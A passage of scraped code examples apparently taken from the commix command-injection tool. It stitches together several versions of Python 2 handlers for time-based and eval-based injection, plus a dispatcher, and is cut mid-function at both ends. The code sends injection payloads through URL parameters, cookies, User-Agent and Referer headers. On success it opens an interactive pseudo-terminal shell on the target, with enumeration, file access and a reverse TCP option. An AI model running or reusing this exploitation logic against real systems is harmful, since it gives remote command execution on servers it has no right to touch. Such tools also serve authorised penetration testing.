  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1
        
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:
            
            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)

            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""
                
            else:
              if (url_time_response <= 1 and how_long >= delay) or \
              (url_time_response >= 2 and how_long > delay):

                # Time relative false positive fixation.
                if len(TAG) == output_length:
                  randv1 = random.randrange(0, 1)
                  randv2 = random.randrange(1, 2)
                  randvcalc = randv1 + randv2
                  cmd = "(" + str(randv1) + "+" + str(randv2) + ")"
                  # Check for false positive resutls
                  output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell)
                  
                if str(output) == str(randvcalc) and len(TAG) == output_length:
                  if not menu.options.verbose:
                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  else:
                    percent = ""
                else:
                  break
                  
              else:
                percent = str(float_percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()

          except KeyboardInterrupt: 
            raise
        
          except:
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if (url_time_response <= 1 and how_long >= delay) or \
          (url_time_response >= 2 and how_long > delay):

            if len(TAG) == output_length :
              found = True
              no_result = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"
                
              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True :
                while True:
                  enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                  if enumerate_again in settings.CHOISE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif enumerate_again in settings.CHOISE_NO: 
                    break
                  elif enumerate_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if enumerate_again == "":
                      enumerate_again = "enter"
                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True :
                while True:
                  file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
                  if file_access_again in settings.CHOISE_YES:
                    print ""
                    tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif file_access_again in settings.CHOISE_NO: 
                    break
                  elif file_access_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if file_access_again == "":
                      file_access_again = "enter"
                    print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
              
              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                # Exploirt injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                sys.exit(0)

              # Pseudo-Terminal shell
              go_back = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '?' for shell options)"
                  while True:
                    try:
                      cmd = raw_input("Shell > ")
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        if cmd == "?":
                          menu.shell_options()
                          continue
                        elif cmd.lower() == "quit":
                          sys.exit(0)
                        elif cmd.lower() == "back":
                          go_back = True
                          if checks.check_next_attack_vector(technique, go_back) == True:
                            break
                          else:
                            if no_result == True:
                              return False 
                            else:
                              return True  
                        else:
                          pass
                        
                      else:
                        # The main command injection exploitation.
                        check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                        # Exploirt injection result
                        tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        print ""
                    except KeyboardInterrupt: 
                      raise
                  
                elif gotshell in settings.CHOISE_NO:
                  if checks.check_next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOISE_QUIT:
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                  pass
            
            break
          
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 16
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "eval-based code injection technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    url = eb_injector.warning_detection(url, http_request_method)

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
        settings.EVAL_SUFFIXES)

    for prefix in settings.EVAL_PREFIXES:
        for suffix in settings.EVAL_SUFFIXES:
            for separator in settings.EVAL_SEPARATORS:
                i = i + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))

                randv1 = random.randrange(100)
                randv2 = random.randrange(100)
                randvcalc = randv1 + randv2

                # Define alter shell
                alter_shell = menu.options.alter_shell

                try:
                    if alter_shell:
                        # Classic -alter shell- decision payload (check if host is vulnerable).
                        payload = eb_payloads.decision_alter_shell(
                            separator, TAG, randv1, randv2)
                    else:
                        # Classic decision payload (check if host is vulnerable).
                        payload = eb_payloads.decision(separator, TAG, randv1,
                                                       randv2)

                    suffix = urllib.quote(suffix)
                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload, suffix)
                    # Fixation for specific payload.
                    if ")%3B" + urllib.quote(")}") in payload:
                        payload = payload.replace(")%3B" + urllib.quote(")}"),
                                                  ")" + urllib.quote(")}"))
                    payload = payload + TAG + ""

                    if menu.options.base64:
                        payload = urllib.unquote(payload)
                        payload = base64.b64encode(payload)
                    else:
                        payload = re.sub(" ", "%20", payload)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                                         payload + Style.RESET_ALL)

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = eb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = eb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = eb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        found_cookie_injection = False
                        # Check if target host is vulnerable.
                        response, vuln_parameter = eb_injector.injection_test(
                            payload, http_request_method, url)

                    # if need page reload
                    if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)

                    # Evaluate test results.
                    shell = eb_injector.injection_test_results(
                        response, TAG, randvcalc)

                    if not menu.options.verbose:
                        percent = ((i * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((i * 100) / (total * 1.0)), 2))

                        if shell == False:
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + float_percent +
                                             "%" + " ]")
                            sys.stdout.flush()

                        if str(float_percent) == "100.0":
                            if no_result == True:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = str(float_percent) + "%"
                        elif len(shell) != 0:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                            percent = str(float_percent) + "%"

                        sys.stdout.write("\r(*) Testing the " + technique +
                                         "... " + "[ " + percent + " ]")
                        sys.stdout.flush()

                except KeyboardInterrupt:
                    raise

                except SystemExit:
                    raise

                except:
                    continue

                # Yaw, got shellz!
                # Do some magic tricks!
                if shell:
                    found = True
                    no_result = False

                    if settings.COOKIE_INJECTION == True:
                        header_name = " Cookie"
                        found_vuln_parameter = vuln_parameter
                        the_type = " HTTP header"

                    elif settings.USER_AGENT_INJECTION == True:
                        header_name = " User-Agent"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    elif settings.REFERER_INJECTION == True:
                        header_name = " Referer"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    else:
                        header_name = ""
                        the_type = " parameter"
                        if http_request_method == "GET":
                            found_vuln_parameter = parameters.vuln_GET_param(
                                url)
                        else:
                            found_vuln_parameter = vuln_parameter

                    if len(found_vuln_parameter) != 0:
                        found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                    # Print the findings to log file.
                    if export_injection_info == False:
                        export_injection_info = logs.add_type_and_technique(
                            export_injection_info, filename, injection_type,
                            technique)
                    if vp_flag == True:
                        vp_flag = logs.add_parameter(vp_flag, filename,
                                                     http_request_method,
                                                     vuln_parameter, payload)
                    logs.update_payload(filename, counter, payload)
                    counter = counter + 1

                    # Print the findings to terminal.
                    print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                    print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                    print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                    ) + Style.RESET_ALL + ""
                    print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                        "%20", " ", payload) + Style.RESET_ALL

                    # Check for any enumeration options.
                    if settings.ENUMERATION_DONE == True:
                        while True:
                            enumerate_again = raw_input(
                                "\n(?) Do you want to enumerate again? [Y/n/q] > "
                            ).lower()
                            if enumerate_again in settings.CHOISE_YES:
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                break
                            elif enumerate_again in settings.CHOISE_NO:
                                break
                            elif enumerate_again in settings.CHOISE_QUIT:
                                sys.exit(0)
                            else:
                                if enumerate_again == "":
                                    enumerate_again = "enter"
                                print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass

                    else:
                        eb_enumeration.do_check(separator, TAG, prefix, suffix,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                    # Check for any system file access options.
                    if settings.FILE_ACCESS_DONE == True:
                        while True:
                            file_access_again = raw_input(
                                "(?) Do you want to access files again? [Y/n/q] > "
                            ).lower()
                            if file_access_again in settings.CHOISE_YES:
                                if not menu.options.verbose:
                                    print ""
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                break
                            elif file_access_again in settings.CHOISE_NO:
                                break
                            elif file_access_again in settings.CHOISE_QUIT:
                                sys.exit(0)
                            else:
                                if file_access_again == "":
                                    file_access_again = "enter"
                                print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                    else:
                        eb_file_access.do_check(separator, TAG, prefix, suffix,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                    # Check if defined single cmd.
                    if menu.options.os_cmd:
                        eb_enumeration.single_os_cmd_exec(
                            separator, TAG, prefix, suffix,
                            http_request_method, url, vuln_parameter,
                            alter_shell, filename)

                    # Pseudo-Terminal shell
                    go_back = False
                    go_back_again = False
                    while True:
                        if go_back == True:
                            break
                        gotshell = raw_input(
                            "(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
                        ).lower()
                        if gotshell in settings.CHOISE_YES:
                            print ""
                            print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                            if readline_error:
                                checks.no_readline_module()
                            while True:
                                try:
                                    # Tab compliter
                                    if not readline_error:
                                        readline.set_completer(
                                            menu.tab_completer)
                                        # MacOSX tab compliter
                                        if getattr(
                                                readline, '__doc__', ''
                                        ) is not None and 'libedit' in getattr(
                                                readline, '__doc__', ''):
                                            readline.parse_and_bind(
                                                "bind ^I rl_complete")
                                        # Unix tab compliter
                                        else:
                                            readline.parse_and_bind(
                                                "tab: complete")
                                    cmd = raw_input("""commix(""" +
                                                    Style.BRIGHT + Fore.RED +
                                                    """os_shell""" +
                                                    Style.RESET_ALL +
                                                    """) > """)
                                    cmd = checks.escaped_cmd(cmd)
                                    if cmd.lower() in settings.SHELL_OPTIONS:
                                        os_shell_option = checks.check_os_shell_options(
                                            cmd.lower(), technique, go_back,
                                            no_result)
                                        if os_shell_option == False:
                                            if no_result == True:
                                                return False
                                            else:
                                                return True
                                        elif os_shell_option == "quit":
                                            sys.exit(0)
                                        elif os_shell_option == "back":
                                            go_back = True
                                            break
                                        elif os_shell_option == "os_shell":
                                            print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                        elif os_shell_option == "reverse_tcp":
                                            settings.REVERSE_TCP = True
                                            # Set up LHOST / LPORT for The reverse TCP connection.
                                            lhost, lport = reverse_tcp.configure_reverse_tcp(
                                            )
                                            while True:
                                                if lhost and lport in settings.SHELL_OPTIONS:
                                                    result = checks.check_reverse_tcp_options(
                                                        lhost)
                                                else:
                                                    cmd = reverse_tcp.reverse_tcp_options(
                                                        lhost, lport)
                                                    result = checks.check_reverse_tcp_options(
                                                        cmd)
                                                if result != None:
                                                    if result == 0:
                                                        return False
                                                    elif result == 1 or result == 2:
                                                        settings.REVERSE_TCP = False
                                                        go_back_again = True
                                                        break
                                                # Command execution results.
                                                response = eb_injector.injection(
                                                    separator, TAG, cmd,
                                                    prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG)
                                                print shell
                                                if menu.options.verbose:
                                                    print ""
                                                print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                        else:
                                            pass

                                    else:
                                        # The main command injection exploitation.
                                        response = eb_injector.injection(
                                            separator, TAG, cmd, prefix,
                                            suffix, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename)

                                        # if need page reload
                                        if menu.options.url_reload:
                                            time.sleep(delay)
                                            response = urllib.urlopen(url)

                                        # Command execution results.
                                        shell = eb_injector.injection_results(
                                            response, TAG)
                                        if shell:
                                            shell = "".join(
                                                str(p) for p in shell).replace(
                                                    " ", "", 1)[:-1]
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                except KeyboardInterrupt:
                                    raise

                                except SystemExit:
                                    raise

                        elif gotshell in settings.CHOISE_NO:
                            if checks.next_attack_vector(technique,
                                                         go_back) == True:
                                break
                            else:
                                if no_result == True:
                                    return False
                                else:
                                    return True

                        elif gotshell in settings.CHOISE_QUIT:
                            sys.exit(0)

                        else:
                            if gotshell == "":
                                gotshell = "enter"
                            print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                            pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 17
0
def do_check(url, filename):

    classic_state = False
    eval_based_state = False
    time_based_state = False
    file_based_state = False

    # Check if defined "--delay" option.
    if menu.options.delay:
        delay = menu.options.delay
    else:
        delay = settings.DELAY

    # Check if authentication is needed.
    if menu.options.auth_url and menu.options.auth_data:
        # Do the authentication process.
        authentication.authentication_process()
        # Check if authentication page is the same with the next (injection) URL
        if urllib2.urlopen(url).read() == urllib2.urlopen(
                menu.options.auth_url).read():
            print Back.RED + "(x) Error: It seems that the authentication procedure has failed." + Style.RESET_ALL
            sys.exit(0)
    elif menu.options.auth_url or menu.options.auth_data:
        print Back.RED + "(x) Error: You must specify both login panel URL and login parameters." + Style.RESET_ALL
        sys.exit(0)
    else:
        pass

    # Check if HTTP Method is GET or POST.
    header_name = ""
    if not menu.options.data:
        http_request_method = "GET"
        if not settings.COOKIE_INJECTION \
        and not settings.USER_AGENT_INJECTION \
        and not settings.REFERER_INJECTION:
            url = parameters.do_GET_check(url)
        check_parameter = parameters.vuln_GET_param(url)
        the_type = " parameter "

    else:
        http_request_method = "POST"
        parameter = menu.options.data
        parameter = parameters.do_POST_check(parameter)
        check_parameter = parameters.vuln_POST_param(parameter, url)
        the_type = " parameter "

    # Load modules
    modules_handler.load_modules(url, http_request_method, filename)

    # Cookie Injection
    if settings.COOKIE_INJECTION == True:
        header_name = " Cookie"
        check_parameter = parameters.specify_cookie_parameter(
            menu.options.cookie)
        the_type = " HTTP header "

    # User-Agent Injection
    elif settings.USER_AGENT_INJECTION == True:
        header_name = " User-Agent"
        check_parameter = ""
        the_type = " HTTP header "

    # Referer Injection
    elif settings.REFERER_INJECTION == True:
        header_name = " Referer"
        check_parameter = ""
        the_type = " HTTP header "

    else:
        pass

    if len(check_parameter) != 0:
        check_parameter = " '" + check_parameter + "'"

    print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."

    # Estimating the response time (in seconds)
    delay, url_time_response = requests.estimate_response_time(
        url, http_request_method, delay)

    # Check all injection techniques
    if not menu.options.tech:
        # Check if it is vulnerable to classic command injection technique.
        if cb_handler.exploitation(url, delay, filename,
                                   http_request_method) != False:
            classic_state = True

        # Check if it is vulnerable to eval-based command injection technique.
        if eb_handler.exploitation(url, delay, filename,
                                   http_request_method) != False:
            eval_based_state = True

        # Check if it is vulnerable to time-based blind command injection technique.
        if tb_handler.exploitation(url, delay, filename, http_request_method,
                                   url_time_response) != False:
            time_based_state = True

        # Check if it is vulnerable to file-based semiblind command injection technique.
        if fb_handler.exploitation(url, delay, filename, http_request_method,
                                   url_time_response) != False:
            file_based_state = True

    else:
        # Check if it is vulnerable to classic command injection technique.
        if "classic" in menu.options.tech or len(
                menu.options.tech) <= 4 and "c" in menu.options.tech:
            # Check if classic results-based command injection technique succeeds.
            if cb_handler.exploitation(url, delay, filename,
                                       http_request_method) != False:
                classic_state = True
        elif menu.options.tech == "classic":
            cb_handler.exploitation(url, delay, filename, http_request_method)
        else:
            classic_state = False

        # Check if it is vulnerable to eval-based command injection technique.
        if "eval-based" in menu.options.tech or len(
                menu.options.tech) <= 4 and "e" in menu.options.tech:
            # Check if eval-based command injection technique succeeds.
            if eb_handler.exploitation(url, delay, filename,
                                       http_request_method) != False:
                eval_based_state = True
        elif menu.options.tech == "eval-based":
            eb_handler.exploitation(url, delay, filename, http_request_method)
        else:
            eval_based_state = False

        # Check if it is vulnerable to time-based blind command injection technique.
        if "time-based" in menu.options.tech or len(
                menu.options.tech) <= 4 and "t" in menu.options.tech:
            # Check if time-based blind command injection technique succeeds.
            if tb_handler.exploitation(url, delay, filename,
                                       http_request_method,
                                       url_time_response) != False:
                time_based_state = True
        elif menu.options.tech == "time-based":
            tb_handler.exploitation(url, delay, filename, http_request_method,
                                    url_time_response)
        else:
            time_based_state = False

        # Check if it is vulnerable to file-based semiblind command injection technique.
        if "file-based" in menu.options.tech or len(
                menu.options.tech) <= 4 and "f" in menu.options.tech:
            # Check if file-based semiblind command injection technique succeeds.
            if fb_handler.exploitation(url, delay, filename,
                                       http_request_method,
                                       url_time_response) != False:
                file_based_state = True
        elif menu.options.tech == "file-based":
            fb_handler.exploitation(url, delay, filename, http_request_method,
                                    url_time_response)
        else:
            file_based_state = False

    if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False:
        info_msg = "(x) Critical: The tested (" + http_request_method + ")" + check_parameter + " parameter appear to be not injectable."
        if not menu.options.alter_shell:
            info_msg += " Use the option '--alter-shell'"
        else:
            info_msg += " Remove the option '--alter-shell'"
        info_msg += " and/or try to audit the HTTP headers (i.e 'User-Agent', 'Referer', 'Cookie' etc)."
        print Back.RED + info_msg + Style.RESET_ALL

    # else:
    #   print ""
    sys.exit(0)
Esempio n. 18
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "eval-based injection technique"

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
        settings.EVAL_SUFFIXES)

    for prefix in settings.EVAL_PREFIXES:
        for suffix in settings.EVAL_SUFFIXES:
            for separator in settings.EVAL_SEPARATORS:
                i = i + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))

                randv1 = random.randrange(100)
                randv2 = random.randrange(100)
                randvcalc = randv1 + randv2

                try:
                    # Eval-based decision payload (check if host is vulnerable).
                    payload = eb_payloads.decision(separator, TAG, randv1,
                                                   randv2)

                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload,
                                                  urllib.quote(suffix))

                    payload = payload + "" + TAG + ""
                    payload = re.sub(" ", "%20", payload)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                                         payload + Style.RESET_ALL)

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = eb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = eb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = eb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        found_cookie_injection = False
                        # Check if target host is vulnerable.
                        response, vuln_parameter = eb_injector.injection_test(
                            payload, http_request_method, url)

                    # if need page reload
                    if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)

                    # Evaluate test results.
                    shell = eb_injector.injection_test_results(
                        response, TAG, randvcalc)
                    if not menu.options.verbose:
                        percent = ((i * 100) / total)
                        if percent == 100:
                            if no_result == True:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = str(percent) + "%"
                        elif len(shell) != 0:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                            percent = str(percent) + "%"
                        sys.stdout.write("\r(*) Testing the " + technique +
                                         "... " + "[ " + percent + " ]")
                        sys.stdout.flush()

                except KeyboardInterrupt:
                    raise

                except:
                    continue

                # Yaw, got shellz!
                # Do some magic tricks!
                if shell:
                    found = True
                    no_result = False

                    if settings.COOKIE_INJECTION == True:
                        header_name = " Cookie"
                        found_vuln_parameter = vuln_parameter
                        the_type = " HTTP header"

                    elif settings.USER_AGENT_INJECTION == True:
                        header_name = " User-Agent"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    elif settings.REFERER_INJECTION == True:
                        header_name = " Referer"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    else:
                        header_name = ""
                        the_type = " parameter"
                        if http_request_method == "GET":
                            found_vuln_parameter = parameters.vuln_GET_param(
                                url)
                        else:
                            found_vuln_parameter = vuln_parameter

                    if len(found_vuln_parameter) != 0:
                        found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                    # Print the findings to log file.
                    if export_injection_info == False:
                        export_injection_info = logs.add_type_and_technique(
                            export_injection_info, filename, injection_type,
                            technique)
                    if vp_flag == True:
                        vp_flag = logs.add_parameter(vp_flag, filename,
                                                     http_request_method,
                                                     vuln_parameter, payload)
                    logs.upload_payload(filename, counter, payload)
                    counter = counter + 1

                    # Print the findings to terminal.
                    print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                    print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                    print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                    ) + Style.RESET_ALL + ""
                    print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                        "%20", " ", payload) + Style.RESET_ALL

                    # Check for any enumeration options.
                    eb_enumeration.do_check(separator, TAG, prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter)

                    # Check for any system file access options.
                    eb_file_access.do_check(separator, TAG, prefix, suffix,
                                            http_request_method, url,
